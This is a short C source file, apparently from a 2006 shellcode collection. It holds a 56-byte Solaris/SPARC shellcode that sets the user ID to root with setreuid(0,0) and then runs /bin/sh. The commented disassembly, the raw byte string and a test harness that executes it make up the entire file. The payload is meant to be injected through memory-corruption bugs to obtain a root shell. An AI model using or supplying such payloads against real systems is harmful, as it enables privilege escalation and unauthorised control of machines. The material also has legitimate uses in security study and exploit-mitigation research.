/*
 * bunker_sparc_sc1.c V0.1 - Sun Oct 15 11:24:45 CEST 2006
 *
 * 56 bytes Solaris/sparc shellcode
 * setreuid(0, 0) + execve("/bin/sh", "[/bin/sh]", NULL);
 *
 * bunker - http://rawlab.mindcreations.com
 * 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
 *
 *  setreuid(0, 0);
 *  0x10250:    90 18 40 01  xor       %g1, %g1, %o0
 *  0x10254:    92 18 40 01  xor       %g1, %g1, %o1
 *  0x10258:    82 10 20 ca  mov       0xca, %g1
 *  0x1025c:    91 d0 20 08  ta        0x8
 *
 *  execve("/bin/sh", ["/bin/sh"], NULL);
 *  0x10260:    21 0b d8 9a  sethi     %hi(0x2f626800), %l0
 *  0x10264:    a0 14 21 6e  or        %l0, 0x16e, %l0
 *  0x10268:    23 0b dc da  sethi     %hi(0x2f736800), %l1
 *  0x1026c:    e0 3b bf f0  std       %l0, [%sp - 0x10]
 *  0x10270:    90 23 a0 10  sub       %sp, 0x10, %o0
 *  0x10274:    dc 23 bf f8  st        %sp, [%sp - 0x8]
 *  0x10278:    92 23 a0 08  sub       %sp, 0x8, %o1
 *  0x1027c:    94 1a 80 0a  xor       %o2, %o2, %o2
 *  0x10280:    82 10 20 3b  mov       0x3b, %g1
 *  0x10284:    91 d0 20 08  ta        0x8
 */

char *sc = 
    "\x90\x18\x40\x01\x92\x18\x40\x01\x82\x10\x20\xca"
    "\x91\xd0\x20\x08\x21\x0b\xd8\x9a\xa0\x14\x21\x6e"
    "\x23\x0b\xdc\xda\xe0\x3b\xbf\xf0\x90\x23\xa0\x10"
    "\xdc\x23\xbf\xf8\x92\x23\xa0\x08\x94\x1a\x80\x0a"
    "\x82\x10\x20\x3b\x91\xd0\x20\x08";

main() { int(*f)()=(int(*)())sc;f(); }